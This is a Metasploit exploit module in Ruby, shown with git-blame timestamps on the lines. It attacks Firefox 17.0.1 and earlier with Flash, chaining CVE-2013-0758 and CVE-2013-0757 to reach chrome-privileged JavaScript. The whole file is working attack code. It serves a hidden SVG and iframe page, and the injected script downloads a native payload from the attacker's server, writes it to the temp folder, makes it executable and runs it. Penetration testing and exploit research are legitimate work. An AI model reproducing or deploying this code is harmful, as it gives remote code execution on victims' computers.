2013-05-16 04:22:58 +00:00
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
2013-05-16 04:52:51 +00:00
|
|
|
'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection',
|
2013-05-16 04:22:58 +00:00
|
|
|
'Description' => %q{
|
2013-05-16 04:52:51 +00:00
|
|
|
This exploit gains remote code execution on Firefox 17.0.1 and all previous
|
|
|
|
|
versions, provided the user has installed Flash. No memory corruption is used.
|
2013-05-21 19:31:36 +00:00
|
|
|
|
|
|
|
|
First, a Flash object is cloned into the anonymous content of the SVG
|
2013-05-16 04:22:58 +00:00
|
|
|
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
|
2013-05-21 19:31:36 +00:00
|
|
|
can navigate a child frame to a URL in the chrome:// scheme.
|
|
|
|
|
|
2013-05-16 04:22:58 +00:00
|
|
|
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
|
|
|
|
|
around the child frame's window reference and inject code into the chrome://
|
2013-05-17 03:56:36 +00:00
|
|
|
context. Once we have injection into the chrome execution context, we can write
|
|
|
|
|
the payload to disk, chmod it (if posix), and then execute.
|
2013-05-21 19:31:36 +00:00
|
|
|
|
2013-05-16 04:22:58 +00:00
|
|
|
Note: Flash is used here to trigger the exploit but any Firefox plugin
|
|
|
|
|
with script access should be able to trigger it.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2013-05-22 19:34:00 +00:00
|
|
|
'Targets' =>
|
|
|
|
|
[
|
2013-05-23 03:37:18 +00:00
|
|
|
[ 'Automatic',
|
|
|
|
|
{
|
|
|
|
|
'Platform' => ['win', 'linux', 'osx'],
|
|
|
|
|
'Arch' => ARCH_X86
|
|
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
[ 'Windows x86 (Native Payload)',
|
2013-05-22 19:34:00 +00:00
|
|
|
{
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Arch' => ARCH_X86
|
|
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
[ 'Linux x86 (Native Payload)',
|
|
|
|
|
{
|
|
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'Arch' => ARCH_X86
|
|
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
[ 'Mac OS X x86 (Native Payload)',
|
|
|
|
|
{
|
|
|
|
|
'Platform' => 'osx',
|
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
|
}
|
|
|
|
|
]
|
2013-05-16 04:22:58 +00:00
|
|
|
],
|
|
|
|
|
'DefaultTarget' => 0,
|
2013-05-16 04:35:59 +00:00
|
|
|
'Author' =>
|
|
|
|
|
[
|
2013-05-16 04:47:04 +00:00
|
|
|
'Marius Mlynski', # discovery & bug report
|
2013-05-23 03:37:18 +00:00
|
|
|
'joev', # metasploit module
|
|
|
|
|
'sinn3r' # metasploit fu
|
2013-05-16 04:35:59 +00:00
|
|
|
],
|
2013-05-16 04:22:58 +00:00
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
|
2013-05-21 19:31:36 +00:00
|
|
|
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
|
2013-05-16 04:22:58 +00:00
|
|
|
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
|
|
|
|
|
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Jan 08 2013'
|
|
|
|
|
))
|
2013-05-16 04:47:04 +00:00
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
2013-05-17 03:56:36 +00:00
|
|
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
|
|
|
|
|
OptBool.new('DEBUG', [false, "Display some alert()'s for debugging the payload.", false])
|
2013-05-16 04:47:04 +00:00
|
|
|
], Auxiliary::Timed)
|
|
|
|
|
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
2013-05-22 19:34:00 +00:00
|
|
|
my_target = get_target(request.headers['User-Agent'])
|
|
|
|
|
if my_target.nil?
|
|
|
|
|
print_error("User agent does not match an available payload type, bailing.")
|
2013-05-16 04:22:58 +00:00
|
|
|
send_not_found(cli)
|
|
|
|
|
return
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-22 19:34:00 +00:00
|
|
|
target = my_target
|
|
|
|
|
|
2013-05-16 04:22:58 +00:00
|
|
|
if request.uri =~ /\.swf$/
|
|
|
|
|
# send Flash .swf for navigating the frame to chrome://
|
|
|
|
|
print_status("Sending .swf trigger.")
|
|
|
|
|
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
|
|
|
|
|
elsif request.uri =~ /\.bin/
|
|
|
|
|
# send the binary payload to drop & exec
|
|
|
|
|
print_status("Child frame navigated. Sending binary payload to drop & execute.")
|
2013-05-23 03:37:18 +00:00
|
|
|
send_response(cli, dropped_file_contents(cli, target), { 'Content-Type' => 'application/octet-stream' })
|
2013-05-16 04:22:58 +00:00
|
|
|
else
|
|
|
|
|
# send initial HTML page
|
2013-05-22 19:34:00 +00:00
|
|
|
print_status("Target selected: #{target.name}")
|
2013-05-16 04:22:58 +00:00
|
|
|
print_status("Sending #{self.name}")
|
2013-05-22 19:34:00 +00:00
|
|
|
send_response_html(cli, generate_html(target))
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:00:45 +00:00
|
|
|
# @return [String] the encoded executable for dropping onto the client's machine
|
2013-05-23 03:37:18 +00:00
|
|
|
def dropped_file_contents(cli, target)
|
2013-05-22 19:34:00 +00:00
|
|
|
return if ((p=regenerate_payload(cli)) == nil)
|
2013-05-23 03:37:18 +00:00
|
|
|
opts = target.opts
|
|
|
|
|
exe = ''
|
|
|
|
|
|
|
|
|
|
case target.name
|
|
|
|
|
when /windows/i
|
|
|
|
|
opts = opts.merge({:code=>p.encoded})
|
|
|
|
|
exe = generate_payload_exe(opts)
|
|
|
|
|
when /linux/i
|
|
|
|
|
exe = Msf::Util::EXE.to_linux_x86_elf(framework, p.encoded, opts)
|
|
|
|
|
when /os x/i
|
|
|
|
|
exe = Msf::Util::EXE.to_osx_x86_macho(framework, p.encoded, opts)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
return exe
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:00:45 +00:00
|
|
|
# @return [Msf::Module::Target] that matches the client's user-agent header
|
2013-05-16 04:22:58 +00:00
|
|
|
def get_target(agent)
|
2013-05-22 19:34:00 +00:00
|
|
|
# Not firefox, bail
|
2013-05-17 03:56:36 +00:00
|
|
|
if agent !~ /firefox/i
|
|
|
|
|
return nil
|
|
|
|
|
end
|
2013-05-22 19:34:00 +00:00
|
|
|
|
|
|
|
|
# User wants to manually specify a target, respect that
|
|
|
|
|
if target != targets[0]
|
|
|
|
|
return target
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-17 03:56:36 +00:00
|
|
|
# os detection
|
2013-05-16 04:22:58 +00:00
|
|
|
if agent =~ /windows/i
|
2013-05-17 03:56:36 +00:00
|
|
|
targets[1]
|
2013-05-22 19:34:00 +00:00
|
|
|
elsif agent =~ /linux/i
|
2013-05-17 03:56:36 +00:00
|
|
|
targets[2]
|
2013-05-22 19:34:00 +00:00
|
|
|
elsif agent =~ /macintosh/i and agent =~ /intel/i
|
|
|
|
|
targets[3]
|
2013-05-16 04:22:58 +00:00
|
|
|
else
|
2013-05-17 03:56:36 +00:00
|
|
|
nil
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:00:45 +00:00
|
|
|
# @return [String] the contents of the .swf file used to trigger the exploit
|
2013-05-16 04:22:58 +00:00
|
|
|
def flash_trigger
|
|
|
|
|
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
|
|
|
|
|
@flash_trigger ||= File.read(swf_path)
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:31:36 +00:00
|
|
|
# @return [String] the filename that will be used when the payload is dropped
|
2013-05-22 19:34:00 +00:00
|
|
|
def payload_filename(target)
|
|
|
|
|
if target.name =~ /Windows x86/i
|
2013-05-16 04:34:14 +00:00
|
|
|
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
|
2013-05-16 04:22:58 +00:00
|
|
|
else
|
2013-05-16 04:34:14 +00:00
|
|
|
"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:00:45 +00:00
|
|
|
# @return [String] containing javascript code to execute with chrome privileges
|
2013-05-22 19:34:00 +00:00
|
|
|
def js_payload(target)
|
2013-05-16 04:22:58 +00:00
|
|
|
%Q|
|
2013-05-17 03:56:36 +00:00
|
|
|
#{js_debug("Injection successful. JS executing with chrome privileges.")}
|
2013-05-16 04:22:58 +00:00
|
|
|
var x = new XMLHttpRequest;
|
2013-05-21 19:31:36 +00:00
|
|
|
x.overrideMimeType('text/plain; charset=x-user-defined');
|
2013-05-16 04:22:58 +00:00
|
|
|
x.open('POST', '#{base_url}.bin', false);
|
|
|
|
|
x.send(null);
|
2013-05-17 03:56:36 +00:00
|
|
|
#{js_debug("'Payload: '+x.responseText", "")}
|
2013-05-16 04:22:58 +00:00
|
|
|
var file = Components.classes["@mozilla.org/file/directory_service;1"]
|
2013-05-16 04:47:04 +00:00
|
|
|
.getService(Components.interfaces.nsIProperties)
|
|
|
|
|
.get("TmpD", Components.interfaces.nsIFile);
|
2013-05-22 19:34:00 +00:00
|
|
|
file.append('#{payload_filename(target)}');
|
2013-05-16 04:47:04 +00:00
|
|
|
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
|
|
|
|
|
.createInstance(Components.interfaces.nsIFileOutputStream);
|
2013-05-16 04:22:58 +00:00
|
|
|
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
|
|
|
|
|
stream.write(x.responseText, x.responseText.length);
|
|
|
|
|
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
|
|
|
|
|
stream.finish();
|
|
|
|
|
} else {
|
|
|
|
|
stream.close();
|
|
|
|
|
}
|
2013-05-22 19:34:00 +00:00
|
|
|
#{chmod_code(target)}
|
2013-05-17 03:56:36 +00:00
|
|
|
#{js_debug("'Downloaded to: '+file.path", "")}
|
2013-05-16 04:22:58 +00:00
|
|
|
var process = Components.classes["@mozilla.org/process/util;1"]
|
2013-05-16 04:47:04 +00:00
|
|
|
.createInstance(Components.interfaces.nsIProcess);
|
2013-05-16 04:22:58 +00:00
|
|
|
process.init(file);
|
2013-05-17 03:56:36 +00:00
|
|
|
process.run(false, [], 0);
|
2013-05-16 04:22:58 +00:00
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:00:45 +00:00
|
|
|
# @return [String] containing javascript that will alert a debug string
|
|
|
|
|
# if the DEBUG is set to true
|
2013-05-17 03:56:36 +00:00
|
|
|
def js_debug(str, quote="'")
|
|
|
|
|
if datastore['DEBUG'] then "alert(#{quote}#{str}#{quote})" else '' end
|
|
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:00:45 +00:00
|
|
|
# @return [String] containing javascript that will chmod the dropped executable
|
2013-05-22 19:34:00 +00:00
|
|
|
def chmod_code(target)
|
2013-05-16 04:22:58 +00:00
|
|
|
return '' if target.name == 'Windows x86 (Native Payload)'
|
|
|
|
|
%Q|
|
|
|
|
|
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
|
|
|
|
|
chmod.initWithPath("/bin/chmod");
|
|
|
|
|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
|
|
|
|
process.init(chmod);
|
|
|
|
|
process.run(true, ["+x", file.path], 2);
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# @return [String] URL for sending requests back to the module
|
|
|
|
|
def base_url
|
|
|
|
|
proto = (datastore["SSL"] ? "https" : "http")
|
2013-05-17 03:56:36 +00:00
|
|
|
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
2013-05-22 19:34:00 +00:00
|
|
|
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
|
2013-05-21 19:00:45 +00:00
|
|
|
# @return [String] HTML that is sent in the first response to the client
|
2013-05-22 19:34:00 +00:00
|
|
|
def generate_html(target)
|
2013-05-16 04:22:58 +00:00
|
|
|
vars = {
|
|
|
|
|
:symbol_id => 'a',
|
|
|
|
|
:random_domain => 'safe',
|
2013-05-22 19:34:00 +00:00
|
|
|
:payload => js_payload(target),
|
2013-05-16 04:22:58 +00:00
|
|
|
:payload_var => 'c',
|
|
|
|
|
:payload_key => 'k',
|
|
|
|
|
:payload_obj_var => 'payload_obj',
|
|
|
|
|
:interval_var => 'itvl',
|
|
|
|
|
:access_string => 'access',
|
|
|
|
|
:frame_ref => 'frames[0]',
|
|
|
|
|
:frame_name => 'n',
|
2013-05-16 04:47:04 +00:00
|
|
|
:loader_path => "#{base_url}.swf",
|
|
|
|
|
:content => self.datastore['CONTENT'] || ''
|
2013-05-16 04:22:58 +00:00
|
|
|
}
|
|
|
|
|
%Q|
|
|
|
|
|
<!doctype html>
|
|
|
|
|
<html>
|
|
|
|
|
<head>
|
|
|
|
|
<base href="chrome://browser/content/">
|
|
|
|
|
</head>
|
|
|
|
|
<body>
|
|
|
|
|
|
2013-05-16 04:47:04 +00:00
|
|
|
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
|
2013-05-16 04:22:58 +00:00
|
|
|
<symbol id="#{vars[:symbol_id]}">
|
|
|
|
|
<foreignObject>
|
|
|
|
|
<object></object>
|
|
|
|
|
</foreignObject>
|
|
|
|
|
</symbol>
|
|
|
|
|
<use />
|
|
|
|
|
</svg>
|
|
|
|
|
|
|
|
|
|
<script>
|
|
|
|
|
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
|
|
|
|
|
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
|
|
|
|
|
function $() {
|
|
|
|
|
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
|
|
|
|
|
}
|
|
|
|
|
function _() {
|
|
|
|
|
return '#{vars[:frame_name]}';
|
|
|
|
|
}
|
|
|
|
|
var #{vars[:interval_var]} = setInterval(function(){
|
|
|
|
|
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
|
|
|
|
|
catch(e){
|
|
|
|
|
clearInterval(#{vars[:interval_var]});
|
|
|
|
|
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
|
|
|
|
|
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
|
|
|
|
|
Object.prototype.__lookupSetter__("__proto__").call(p, o);
|
|
|
|
|
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
|
|
|
|
|
}
|
|
|
|
|
}, 100);
|
|
|
|
|
document.querySelector('object').data = "#{vars[:loader_path]}";
|
|
|
|
|
document.querySelector('use').setAttributeNS(
|
|
|
|
|
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
|
|
|
|
|
);
|
|
|
|
|
</script>
|
|
|
|
|
|
|
|
|
|
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
|
2013-05-16 04:47:04 +00:00
|
|
|
name="#{vars[:frame_name]}"></iframe>
|
|
|
|
|
#{vars[:content]}
|
2013-05-16 04:22:58 +00:00
|
|
|
</body>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
end
|
